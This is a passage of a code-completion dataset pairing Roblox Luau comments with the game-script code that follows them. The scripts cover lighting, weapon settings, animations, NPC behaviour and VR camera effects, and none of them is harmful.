Lighting\n\tAtmosphere.Parent = Lighting\n\tSky.Parent = Lighting\n\tBlur.Size = 3.921\n\tBlur.Parent = Lighting\n\tColorCorrection.Parent = Lighting\n\tColorCorrection.Saturation = .092\n\t\n\tClouds.Parent = TerrainService\n\tClouds.Cover = .4;\nend\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-------------------=[ PROJETIL ]=-------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,Distance = 10000\n\t,BDrop = .25\n\t,BSpeed = 2200\n\n\t,SuppressMaxDistance = 25\t--- Studs\n\t,SuppressTime = 10\t\t\t--- Seconds\n\n\t,BulletWhiz = true\n\t,BWEmitter = 25\n\t,BWMaxDistance = 200\n\t\n\t,BulletFlare = false\n\t,BulletFlareColor = Color3.fromRGB(255,255,255)\n\n\t,Tracer = true\n\t,TracerColor = Color3.fromRGB(255,255,255)\n\t,TracerLightEmission = 1\n\t,TracerLightInfluence = 0\n\t,TracerLifeTime = .2\n\t,TracerWidth = .1\n\t,RandomTracer = false\n\t,TracerEveryXShots = 0\n\t,TracerChance = 100\n\t\n\t,BulletLight = false\n\t,BulletLightBrightness = 1\n\t,BulletLightColor = Color3.fromRGB(255,255,255)\n\t,BulletLightRange = 10\n\n\t,ExplosiveHit = false\n\t,ExPressure = 500\n\t,ExpRadius = 25\n\t,DestroyJointRadiusPercent = 0\t--- Between 0 & 1\n\t,ExplosionDamage = 100\n\n\t,LauncherDamage = 100\n\t,LauncherRadius = 25\n\t,LauncherPressure = 500\n\t,LauncherDestroyJointRadiusPercent = 0"} +{"prompt": "--// Patrol Mode", "completion": "\n\tPatrolPosR = CFrame.new();\n\tPatrolPosL = CFrame.new();\n"} +{"prompt": "-- HD Icon", "completion": "\nlocal icon = iconController:createIcon(\"HDAdmin\", 4882428756, 0)\nicon:setToggleMenu(main.gui.MainFrame)\nicon:notify()\n\n\nreturn iconController\n"} +{"prompt": "--[[\nSet the value of \"CurrentOwner\" to the color of the team that \ndefaultly owns this flag.\n\nSet the value of \"CaptureDistance\" to the distance away from the flag \nbase a player needs to be able to capture it.\n\nSet the value of \"StepsToBottom\" to how many \"Steps\" \nit takes for the flag to get down/up.\n\nSet the value of \"NeutralColor\" to the color you want to signify \nneutrality with. If there is a team with this color, \nthey will not be able to capture the flag!\n\nTo make this flag neutral, just make sure the CurrentOwner value is the \nsame as the NeutralColor value.\n\nTo edit what team sets off the timer when captured Go to the \"Capture\"\nScript and Find the Line that starts with \"if name == \"Enemy\" then\"\nChange \"Enemy\" to what team sets off the timer when captured.\n\nCredits:Bobatheman for the flag itself. (without timer)\n LordVade for the timer.\n Myself for finally getting it working again\n and Placeing the Timer in a Better spot.\n\nThis Flag is the key to raids without a flag at your fort or Base\nThe raiders can Auto-Win!\n--]]", "completion": "\nscript.parent:remove()\n"} +{"prompt": "-- local DROP_BUTTON = Defaults:WaitForChild(\"DropdownButton\")", "completion": "\n"} +{"prompt": "-- regeneration", "completion": "\nwhile true do\n\tlocal s = wait(1)\n\tlocal health = Humanoid.Health\n\n\tif health > 0 and health < Humanoid.MaxHealth then\n\t\thealth = health + 0.01 * s * Humanoid.MaxHealth\n\n\t\tif health * 1.05 < Humanoid.MaxHealth then\n\t\t\tHumanoid.Health = health\n\t\telse\n\t\t\tHumanoid.Health = Humanoid.MaxHealth\n\t\tend\n\tend\nend\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------", "completion": "\n\nfunction configureAnimationSetOld(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\tlocal allowCustomAnimations = true\n\tlocal AllowDisableCustomAnimsUserFlag = false\n\n\tlocal success, msg = pcall(function()\n\t\tAllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled(\"UserAllowDisableCustomAnims2\")\n\tend)\n\n\tif (AllowDisableCustomAnimsUserFlag) then\n\t\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n\t\tif not success then\n\t\t\tallowCustomAnimations = true\n\t\tend\n\tend\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (allowCustomAnimations and config ~= nil) then\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\tlocal idx = 1\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject == nil) then\n\t\t\t\t\tanimTable[name][idx].weight = 1\n\t\t\t\telse\n\t\t\t\t\tanimTable[name][idx].weight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\tidx = idx + 1\n\t\t\tend\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\t\t-- print(name .. \" [\" .. idx .. \"] \" .. anim.id .. \" (\" .. anim.weight .. \")\")\n\t\tend\n\tend\n\t\n\t-- preload anims\n\tif PreloadAnimsUserFlag then\n\t\tfor i, animType in pairs(animTable) do\n\t\t\tfor idx = 1, animType.count, 1 do \n\t\t\t\tHumanoid:LoadAnimation(animType[idx].anim)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Enumerators:", "completion": "\n\nlocal CollisionMode = {\n\tNone = 0;\n\tWhitelist = 1;\n\tBlacklist = 2;\n\tFunction = 3;\n}\n\n"} +{"prompt": "-- Define the function to handle the dash ability", "completion": "\nlocal function dash()\n\t-- Check if the player is currently dashing\n\tif isDashing then\n\t\treturn\n\tend\n\tisDashing = true\n\n\t-- Get the direction the character is facing\n\tlocal direction = character.HumanoidRootPart.CFrame.lookVector\n\n\t-- Move the character up and forward at the dash speed\n\tcharacter.HumanoidRootPart.Velocity = (direction * Vector3.new(1, 0, 1)).Unit * dashSpeed\n\n\t-- Reset the isDashing variable after a short delay\n\twait(0.5)\n\tisDashing = false\nend\n"} +{"prompt": "--\t\tprint(animName .. \" \" .. idx .. \" [\" .. origRoll .. \"]\")", "completion": "\n\tlocal anim = animTable[animName][idx].anim\n\n\t-- switch animation\t\t\n\tif (anim ~= currentAnimInstance) then\n\t\t\n\t\tif (currentAnimTrack ~= nil) then\n\t\t\tcurrentAnimTrack:Stop(transitionTime)\n\t\t\tcurrentAnimTrack:Destroy()\n\t\tend\n\n\t\tcurrentAnimSpeed = 1.0\n\t\n\t\t-- load it to the humanoid; get AnimationTrack\n\t\tcurrentAnimTrack = humanoid:LoadAnimation(anim)\n\t\t \n\t\t-- play the animation\n\t\tcurrentAnimTrack:Play(transitionTime)\n\t\tcurrentAnim = animName\n\t\tcurrentAnimInstance = anim\n\n\t\t-- set up keyframe name triggers\n\t\tif (currentAnimKeyframeHandler ~= nil) then\n\t\t\tcurrentAnimKeyframeHandler:disconnect()\n\t\tend\n\t\tcurrentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)\n\t\t\n\tend\n\nend\n"} +{"prompt": "-- we could have missed the onEquip event on script start", "completion": "\nif Board.Controller and not Controller then\n\n\tonEquip(Board.ControllingHumanoid, Board.Controller)\n\nend\n\nfunction cruiseModify()\n\t-- change the pitch and volume of the cruising sound\n\n\tlocal v = Board.Velocity.magnitude\n\n\tif (v < 1) then\n\t\tBoard.CruiseLoop.Volume = 0.1\n\t\treturn\n\tend\n\n\tlocal lowPitch = .85\n\tlocal topPitch = 1.1\n\n\tlocal lowV = .1\n\tlocal topV = 1\n\n\tBoard.CruiseLoop.Volume = math.min(((topV - lowV) * (v / topSpeed)) + lowV, 1)\n\tBoard.CruiseLoop.Pitch = ((topPitch - lowPitch) * (v / topSpeed)) + lowPitch\n\n\t\nend\n\nfunction breakModifyAndPlay()\n\tlocal v = Board.Velocity.magnitude\n\t\n\tlocal slowest = 10\n\tif (v < slowest) then return end\n\n\tlocal lowV = .05\n\tlocal topV = .8\n\n\tBoard.BoardStop.Volume = math.min(((topV - lowV) * (v / (topSpeed - slowest))) + lowV, 1)\n\tBoard.BoardStop:Play()\nend\n\nwhile true do\n\tcruiseModify()\n\twait(.1)\nend\n"} +{"prompt": "-- Initialize the tool", "completion": "\nlocal DecorateTool = {\n\tName = 'Decorate Tool';\n\tColor = BrickColor.new 'Really black';\n}\n\nDecorateTool.ManualText = [[Decorate Tool \ud83d\udee0\nAllows you to add smoke, fire, and sparkles to parts.]]\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = require(game.ReplicatedStorage:WaitForChild(\"Resources\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nfunction TurnAutoHacth(p1, p2)\n\tv1.Variables.AutoHatchEnabled = p1;\n\tv1.Signal.Fire(\"Auto Hatch Updated\");\n\tif p2 then\n\t\tv1.Variables.AutoHatchEggId = p2;\n\t\treturn;\n\tend;\n\tv1.Variables.AutoHatchEggId = nil;\nend;\nfunction AttemptHatch()\n\tlocal v2 = v1.StatService.Get();\n\tif not v2 then\n\t\treturn;\n\tend;\n\tlocal l__AutoHatchEggId__3 = v1.Variables.AutoHatchEggId;\n\tif not l__AutoHatchEggId__3 then\n\t\treturn;\n\tend;\n\tif v2.World ~= v1.Directory.Eggs[l__AutoHatchEggId__3].world then\n\t\tv1.Variables.AutoHatchEnabled = false;\n\t\tv1.Variables.AutoHatchEggId = nil;\n\t\tv1.Signal.Fire(\"Auto Hatch Updated\");\n\t\tv1.Signal.Fire(\"Notification\", \"World Changed, Auto Hatch is now turned off\", {\n\t\t\tcolor = Color3.fromRGB(255, 46, 46)\n\t\t});\n\t\treturn;\n\tend;\n\tlocal v4, v5 = v1.Network.Invoke(\"Buy Egg\", l__AutoHatchEggId__3, v2.AutoHatchSettings.TripleEggs);\n\tif not v4 then\n\t\tv1.Signal.Fire(\"Notification\", \"Failed to buy egg (\" .. (v5 and \"An error occurred\") .. \")\", {\n\t\t\tcolor = Color3.fromRGB(255, 46, 46)\n\t\t});\n\t\tif v2.AutoHatchSettings.StopOnFailure then\n\t\t\tv1.Variables.AutoHatchEnabled = false;\n\t\t\tv1.Variables.AutoHatchEggId = nil;\n\t\t\tv1.Signal.Fire(\"Auto Hatch Updated\");\n\t\t\tv1.Signal.Fire(\"Notification\", \"Auto Hatch is now turned off\", {\n\t\t\t\tcolor = Color3.fromRGB(255, 46, 46)\n\t\t\t});\n\t\tend;\n\tend;\nend;\nlocal l__ID__1 = v1.Directory.Gamepasses[\"Auto Hatch\"].ID;\nfunction CanPerform()\n\tif not v1.Gamepasses.Owns(l__ID__1) then\n\t\treturn;\n\tend;\n\tif not v1.WorldCmds.CanDoAction() then\n\t\treturn;\n\tend;\n\treturn v1.Variables.AutoHatchEnabled;\nend;\nv1.Signal.Fired(\"Turn Auto Hatch\"):Connect(function(p3, p4)\n\tTurnAutoHacth(p3, p4);\nend);\ntask.defer(function()\n\twhile true do\n\t\tif CanPerform() then\n\t\t\twait(0.75);\n\t\t\tif CanPerform() then\n\t\t\t\tAttemptHatch();\n\t\t\tend;\n\t\tend;\n\t\twait(v1.RunService.Heartbeat:Wait() * 5);\t\n\tend;\nend);\n\n"} +{"prompt": "--//Services//--", "completion": "\nlocal Debris = game:GetService(\"Debris\")\n"} +{"prompt": "--]]", "completion": "\n\n\nfunction getHumanoid(model)\n\tfor _, v in pairs(model:GetChildren()) do\n\t\tif v:IsA'Humanoid' then\n\t\t\treturn v\n\t\tend\n\tend\nend\n\n\nlocal ai = script.Parent\nlocal human = getHumanoid(ai)\nlocal hroot = ai.HumanoidRootPart\nlocal zspeed = hroot.Velocity.magnitude\n\n\nlocal pfs = game:GetService(\"PathfindingService\")\n\nfunction GetPlayerNames()\n\tlocal players = game:GetService('Players'):GetChildren()\n\tlocal name = nil\n\tfor _, v in pairs(players) do\n\t\tif v:IsA'Player' then\n\t\t\tname = tostring(v.Name)\n\t\tend\n\tend\n\treturn name\nend\n\nspawn(function()\n\twhile wait() do\n\tend\nend)\n\nfunction GetPlayersBodyParts(t)\n\tlocal torso = t\n\tif torso then\n\t\tlocal figure = torso.Parent\n\t\tfor _, v in pairs(figure:GetChildren()) do\n\t\t\tif v:IsA'Part' then\n\t\t\t\treturn v.Name\n\t\t\tend\n\t\tend\n\telse\n\t\treturn \"HumanoidRootPart\"\n\tend\nend\n\nfunction GetTorso(part)\n\tlocal chars = game.Workspace:GetChildren()\n\tlocal torso = nil\n\tfor _, v in pairs(chars) do\n\t\tif v:IsA'Model' and v ~= script.Parent and v.Name == GetPlayerNames() then\n\t\t\tlocal charRoot = v:FindFirstChild'HumanoidRootPart'\n\t\t\tif (charRoot.Position - part).magnitude < SearchDistance then\n\t\t\t\ttorso = charRoot\n\t\t\tend\n\t\tend\n\tend\n\treturn torso\nend\n\nfor _, zambieparts in pairs(ai:GetChildren()) do\n\tif zambieparts:IsA'Part' then\n\t\tzambieparts.Touched:connect(function(p)\n\t\t\tif p.Parent.Name == GetPlayerNames() and p.Parent.Name ~= ai.Name then -- damage\n\t\t\t\tlocal enemy = p.Parent\n\t\t\t\tlocal enemyhuman = getHumanoid(enemy)\n\t\t\t\tenemyhuman:TakeDamage(aiDamage)\n\t\t\tend\n\t\tend)\n\tend\nend\n"} +{"prompt": "-- Decompiled with Visenya | https://targaryentech.com", "completion": "\nlocal car = script.Parent.Car.Value\nlocal MaxHP = 0\nwhile wait() do\n if MaxHP < math.floor(script.Parent.Values.Horsepower.Value) then\n MaxHP = math.floor(script.Parent.Values.Horsepower.Value)\n end\n car.Body.HPreader.GUI.Read.Text = \"HP: \" .. math.floor(script.Parent.Values.Horsepower.Value)\n car.Body.HPreader.GUI.MAXRead.Text = \"MaxHP: \" .. MaxHP\nend\n"} +{"prompt": "--[[\n\tdeviation: upstream would print stuff like\n\t\t\"YourClass name is not a string\"\n\t\t\"YourClass name is an empty string\"\n\tbut we omit the \"name\" in the result since we don't have a name property\n\n\tdeviation: constructor does not have Function type annotation\n]]", "completion": "\nfunction printConstructorName(label: string, constructor, isNot: boolean, isExpected: boolean): string\n\t-- ROBLOX deviation: omitted handling for tostring() returning non-string as\n\t-- tostring() always returns string\n\tlocal retval = label .. \": \"\n\tif not isNot then\n\t\tretval = retval .. \"\"\n\telse\n\t\tif isExpected then\n\t\t\tretval = retval .. \"never \"\n\t\telse\n\t\t\tretval = retval .. \" \"\n\t\tend\n\tend\n\n\tif printable(constructor) then\n\t\tif #tostring(constructor) == 0 then\n\t\t\treturn string.format(\"%s name is an empty string\", label)\n\t\tend\n\n\t\tif isExpected then\n\t\t\tretval = retval .. EXPECTED_COLOR(tostring(constructor))\n\t\telse\n\t\t\tretval = retval .. RECEIVED_COLOR(tostring(constructor))\n\t\tend\n\n\t\treturn retval\n\telse\n\t\tlocal obj = \"{ \"\n\n\t\tlocal finished = true\n\t\tlocal started = false\n\n\t\tfor key, value in pairs(constructor) do\n\t\t\t-- if we find that we can't print the first few key value pairs\n\t\t\t-- because they aren't nicely printable, we default to\n\t\t\t-- printing the table address with the original retval\n\t\t\t-- the only exception we make is if the key is a __ metamethod\n\n\t\t\tlocal kv_pair = nil\n\t\t\tif printable(key) and printable(value) then\n\t\t\t\tkv_pair = string.format(\"%s: %s, \", stringify(key), stringify(value))\n\t\t\t\t-- We don't print key values for metamethods since they don't\n\t\t\t\t-- provide us with any additional information\n\t\t\telseif printable(key) and key:find(\"__\") ~= 1 then\n\t\t\t\tkv_pair = string.format(\"%s, \", stringify(key))\n\t\t\tend\n\n\t\t\t-- stop printing key value pairs and append an ellipsis if it exceeds a specific length\n\t\t\tif kv_pair then\n\t\t\t\tif #obj + #kv_pair > 64 then\n\t\t\t\t\tfinished = false\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\t\t\t\tstarted = true\n\t\t\t\tobj = obj .. kv_pair\n\t\t\tend\n\t\tend\n\n\t\t-- if we were never able to actually create an obj with the\n\t\t-- content of the table because the first #kv_pair was too big,\n\t\t-- we default to printing the table address with original retval\n\t\tif started == false then\n\t\t\tif isExpected then\n\t\t\t\treturn retval .. EXPECTED_COLOR(tostring(constructor))\n\t\t\tend\n\t\t\treturn retval .. RECEIVED_COLOR(tostring(constructor))\n\t\tend\n\n\t\tif finished then\n\t\t\t-- get rid of trailing comma\n\t\t\tobj = obj:sub(1, -3)\n\t\t\tobj = obj .. \" }\"\n\t\telse\n\t\t\tobj = obj .. \"... }\"\n\t\tend\n\n\t\tif isExpected then\n\t\t\treturn retval .. EXPECTED_COLOR(obj)\n\t\tend\n\t\treturn retval .. RECEIVED_COLOR(obj)\n\tend\nend\n\nreturn {\n\tprintReceivedStringContainExpectedSubstring = printReceivedStringContainExpectedSubstring,\n\tprintReceivedStringContainExpectedResult = printReceivedStringContainExpectedResult,\n\tprintReceivedArrayContainExpectedItem = printReceivedArrayContainExpectedItem,\n\tprintCloseTo = printCloseTo,\n\tprintExpectedConstructorName = printExpectedConstructorName,\n\tprintExpectedConstructorNameNot = printExpectedConstructorNameNot,\n\tprintReceivedConstructorName = printReceivedConstructorName,\n\tprintReceivedConstructorNameNot = printReceivedConstructorNameNot,\n}\n"} +{"prompt": "--[[\n\tAn empty function. Often used as a destructor to indicate no destruction.\n]]", "completion": "\n\nlocal function doNothing(...: any)\nend\n\nreturn doNothing\n"} +{"prompt": "--Function For Making New Ray Bricks", "completion": "\nfunction makeRay(cframe, size)\n\tlocal p\t\t\t\t\t\t= Instance.new(\"Part\")\n\tp.Name\t\t\t\t\t\t= \"RayPart\"\n\tp.BrickColor\t\t\t\t= BrickColor.new(\"Really red\")\n\tp.Transparency\t\t\t\t= 0.5\n\tp.Anchored\t\t\t\t\t= true\n\tp.CanCollide\t\t\t\t= false\n\tp.TopSurface\t\t\t\t= Enum.SurfaceType.Smooth\n\tp.BottomSurface\t\t\t\t= Enum.SurfaceType.Smooth\n\tp.formFactor\t\t\t\t= Enum.FormFactor.Custom\n\tp.CFrame\t\t\t\t\t= cframe\n\tp.Size\t\t\t\t\t\t= size\n\tp.Parent\t\t\t\t\t= m\n\tignoreList[#ignoreList+1]\t= p\nend\n\n\t\tlocal flash = parts.Parent.Gun.Muzzle:clone()\n\t\t\n\t \n\t\tflash.Parent = game.Workspace\n\t\t\n\t\t\n\t\tflash.Anchored = true\n\n\t\tparts.Parent.Gun.Muzzle.Sound:Play();\n\t\tlocal FL\t\t\t\t= flash.PointLight:clone()\n\t\tFL.Parent\t\t\t\t= flash\n\t\tFL.Enabled = true\n\t\tlocal Flashy = flash.Flash:clone()\n\t\tFlashy.Parent = flash\n\t\tFlashy.Enabled = true\n\t\tgame.Debris:AddItem(FL, .07)\n\t\tgame.Debris:AddItem(Flashy, 2)\n\t\tgame.Debris:AddItem(flash, .08)\n\nround\t\t\t\t\t= Instance.new(\"Part\", user)\nround.Name\t\t\t\t= \"RayPart\"\nround.Transparency\t\t= 0\nround.Anchored\t\t\t= true\nround.CanCollide\t\t= true\nround.TopSurface\t\t= Enum.SurfaceType.Smooth\nround.BottomSurface\t\t= Enum.SurfaceType.Smooth\nround.Material\t\t\t= Enum.Material.Neon\nround.formFactor\t\t= Enum.FormFactor.Custom\nround.BrickColor\t\t= BrickColor.new(\"Really red\")\nyOffset\t\t\t\t\t= -0.2\n\nlocal PL\t\t\t\t= Instance.new(\"PointLight\")\nPL.Parent\t\t\t\t= round\nPL.Brightness\t\t\t= 50\nPL.Color\t\t\t\t= Color3.new(255, 0, 0)\nPL.Range\t\t\t\t= 10\nPL.Shadows\t\t\t\t= true\n\n"} +{"prompt": "-- places a brick at pos and returns the position of the brick's opposite corner", "completion": "\nfunction placeBrick(cf, pos)\n\t\n\tlocal troll = game.ServerStorage.TrollFruit:clone()\n\tlocal brick = troll.Handle\n\t\n\tlocal clean = script.Parent.BrickCleanup:clone()\n\tclean.Parent = brick\n\t\n\tbrick.CFrame = cf * CFrame.new(pos)\n\n\t\n\ttroll.Parent = game.Workspace\n\t\n\tlocal a = math.random(1,2)\n\tlocal b = math.random(1,2)\n\tlocal c = math.random(1,2)\n\n\tbrick.Mesh.Scale = Vector3.new(a,b,c)\n\t\n\tbrick.BrickColor = BrickColor.random()\n\t\n\treturn brick, pos\n\t\nend\nfunction buildWall(cf)\n\n\tlocal color = BrickColor.random()\n\tlocal bricks = {}\n\t\n\t\n\t\t\tlocal brick\n\t\t\tbrick, p = placeBrick(cf, Vector3.new(x, y, 0), color)\n\t\t\t\n\t\t\tx = p.x\n\t\t\ttable.insert(bricks, brick)\n\t\t\twait(brickSpeed)\n\t\t\n\t\ty = p.y\n\t\n\n\treturn bricks\nend\n\n\nfunction snap(v)\n\tif math.abs(v.x)>math.abs(v.z) then\n\t\tif v.x>0 then\n\t\t\treturn Vector3.new(1,0,0)\n\t\telse\n\t\t\treturn Vector3.new(-1,0,0)\n\t\tend\n\telse\n\t\tif v.z>0 then\n\t\t\treturn Vector3.new(0,0,1)\n\t\telse\n\t\t\treturn Vector3.new(0,0,-1)\n\t\tend\n\tend\nend\n\n\nTool.Enabled = true\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\nlocal x1 = math.random(1,2)\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\tlocal targetPos = humanoid.TargetPoint\n\tlocal lookAt = snap( (targetPos - character.Head.Position).unit )\n\tlocal cf = CFrame.new(targetPos, targetPos + lookAt)\nif x1 == 1 then\n\tTool.Handle.BuildSound:Play()\n\n\tbuildWall(cf)\n\n\twait(1.2)\nTool.Handle.BuildSound:Stop()\nwait(4)\n\tTool.Enabled = true\nend\nif x1 == 2 then\n\tTool.Handle.BuildSound2:Play()\n\n\tbuildWall(cf)\n\n\twait(1.2)\nTool.Handle.BuildSound2:Stop()\nwait(4)\n\tTool.Enabled = true\nend\n\nend\n\nscript.Parent.Activated:connect(onActivated)\n\n"} +{"prompt": "--wait(math.random(0,5)/10)", "completion": "\nwhile true do\n\twait(0.5)\n\tlocal target = findNearestTorso(script.Parent.Torso.Position)\n\tend\n"} +{"prompt": "-- (VR) Screen effects --------------", "completion": "\nfunction VRBaseCamera:StartFadeFromBlack()\n\tlocal VRFade = Lighting:FindFirstChild(\"VRFade\")\n\tif not VRFade then\n\t\tVRFade = Instance.new(\"ColorCorrectionEffect\")\n\t\tVRFade.Name = \"VRFade\" \n\t\tVRFade.Parent = Lighting\n\tend\n\tVRFade.Brightness = -1\n\tself.VRFadeResetTimer = 0.1\nend\n\nfunction VRBaseCamera:UpdateFadeFromBlack(timeDelta: number)\n\tlocal VRFade = Lighting:FindFirstChild(\"VRFade\")\n\tif self.VRFadeResetTimer > 0 then\n\t\tself.VRFadeResetTimer = math.max(self.VRFadeResetTimer - timeDelta, 0)\n\n\t\tlocal VRFade = Lighting:FindFirstChild(\"VRFade\")\n\t\tif VRFade and VRFade.Brightness < 0 then\n\t\t\tVRFade.Brightness = math.min(VRFade.Brightness + timeDelta * VR_FADE_SPEED, 0)\n\t\tend\n\telse\n\t\tif VRFade then -- sanity check, VRFade off\n\t\t\tVRFade.Brightness = 0\n\t\tend\n\tend\nend\n\nfunction VRBaseCamera:StartVREdgeBlur(player)\n\tif FFlagUserVRVignetteToggle then\n\t\tif UserGameSettings.VignetteEnabled == false then\n\t\t\treturn\n\t\tend\n\tend\n\n\tlocal VRScreen = player.PlayerGui:FindFirstChild(\"VRBlurScreen\")\n\tlocal VRBlur = nil\n\tif VRScreen then\n\t\tVRBlur = VRScreen:FindFirstChild(\"VRBlur\")\n\tend\n\n\tif not VRBlur then\n\t\tif not VRScreen then\n\t\t\tVRScreen = Instance.new(\"ScreenGui\")\n\t\tend\n\t\t\n\t\tVRScreen.Name = \"VRBlurScreen\"\n\t\tVRScreen.Parent = player.PlayerGui\n\n\t\tVRBlur = Instance.new(\"ImageLabel\")\n\t\tVRBlur.Name = \"VRBlur\"\n\t\tVRBlur.Parent = VRScreen\n\n\t\tVRBlur.Image = \"rbxasset://textures/ui/VR/edgeBlur.png\"\n\t\tVRBlur.AnchorPoint = Vector2.new(0.5, 0.5)\n\t\tVRBlur.Position = UDim2.new(0.5, 0, 0.5, 0)\n\n\t\t-- this computes the ratio between the GUI 3D panel and the VR viewport\n\t\t-- adding 15% overshoot for edges on 2 screen headsets\n\t\tlocal ratioX = workspace.CurrentCamera.ViewportSize.X * 2.3 / VR_PANEL_SIZE\n\t\tlocal ratioY = workspace.CurrentCamera.ViewportSize.Y * 2.3 / VR_PANEL_SIZE\n\n\t\tVRBlur.Size = UDim2.fromScale(ratioX, ratioY)\n\t\tVRBlur.BackgroundTransparency = 1\n\t\tVRBlur.Active = true\n\t\tVRBlur.ScaleType = Enum.ScaleType.Stretch\n\tend\n\n\tVRBlur.Visible = true\n\tVRBlur.ImageTransparency = 0\n\tself.VREdgeBlurTimer = VR_SCREEN_EGDE_BLEND_TIME\nend\n\nfunction VRBaseCamera:UpdateEdgeBlur(player, timeDelta)\n\tlocal VRScreen = player.PlayerGui:FindFirstChild(\"VRBlurScreen\")\n\tlocal VRBlur = nil\n\tif VRScreen then\n\t\tVRBlur = VRScreen:FindFirstChild(\"VRBlur\")\n\tend\n\t\n\tif VRBlur then\n\t\tif self.VREdgeBlurTimer > 0 then\n\t\t\tself.VREdgeBlurTimer = self.VREdgeBlurTimer - timeDelta\n\n\t\t\tlocal VRScreen = player.PlayerGui:FindFirstChild(\"VRBlurScreen\")\n\t\t\tif VRScreen then\n\t\t\t\tlocal VRBlur = VRScreen:FindFirstChild(\"VRBlur\")\n\t\t\t\tif VRBlur then\n\t\t\t\t\tVRBlur.ImageTransparency = 1.0 - math.clamp(self.VREdgeBlurTimer, 0.01,\n\t\t\t\t\t\tVR_SCREEN_EGDE_BLEND_TIME) * (1/VR_SCREEN_EGDE_BLEND_TIME)\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tVRBlur.Visible = false\n\t\tend\n\tend\nend\n\nfunction VRBaseCamera:GetCameraHeight()\n\tif not self.inFirstPerson then\n\t\treturn math.sin(VR_ANGLE) * self.currentSubjectDistance\n\tend\n\treturn 0\nend\n\nfunction VRBaseCamera:GetSubjectCFrame(): CFrame\n\tlocal result = BaseCamera.GetSubjectCFrame(self)\n\tlocal camera = workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\n\tif not cameraSubject then\n\t\treturn result\n\tend\n\t\n\t-- new VR system overrides\n\tif cameraSubject:IsA(\"Humanoid\") then\n\t\tlocal humanoid = cameraSubject\n\t\tlocal humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead\n\n\t\tif humanoidIsDead and humanoid == self.lastSubject then\n\t\t\tresult = self.lastSubjectCFrame\n\t\tend\n\tend\n\n\tif result then\n\t\tself.lastSubjectCFrame = result\n\tend\n\n\treturn result\nend\n\nfunction VRBaseCamera:GetSubjectPosition(): Vector3\n\tlocal result = BaseCamera.GetSubjectPosition(self)\n\n\t-- new VR system overrides\n\tlocal camera = game.Workspace.CurrentCamera\n\tlocal cameraSubject = camera and camera.CameraSubject\n\tif cameraSubject then\n\t\tif cameraSubject:IsA(\"Humanoid\") then\n\t\t\tlocal humanoid = cameraSubject\n\t\t\tlocal humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead\n\n\t\t\tif humanoidIsDead and humanoid == self.lastSubject then\n\t\t\t\tresult = self.lastSubjectPosition\n\t\t\tend\n\t\telseif cameraSubject:IsA(\"VehicleSeat\") then\n\t\t\tlocal offset = VR_SEAT_OFFSET\n\t\t\tresult = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset)\n\t\tend\n\telse\n\t\treturn\n\tend\n\n\tself.lastSubjectPosition = result\n\n\treturn result\nend\n"} +{"prompt": "--code I stole haha", "completion": "\nhuman.Running:Connect(function(speed)\n\tif speed>20 then --if its over than 16 then it will appear when you're running\n\t\tPE.Enabled = true\n\telse\n\t\tPE.Enabled = false\n\tend\n\tif human.health == 0 then\n\t\tPE:Destroy()\n\t\tscript:Destroy()\n\tend\nend)\n"} +{"prompt": "--!strict", "completion": "\nlocal LuauPolyfill = script.Parent.Parent\nlocal types = require(LuauPolyfill.types)\ntype Array = types.Array\ntype Object = types.Object\ntype callbackFn = (element: T, index: number, array: Array) -> boolean\ntype callbackFnWithThisArg = (self: U, element: T, index: number, array: Array) -> boolean\n"} +{"prompt": "--[[\n\tShows all ScreenGuis and CoreGuis that were hidden by `hideGuis`. If the\n\tcallback `showOtherGuis` is defined then that 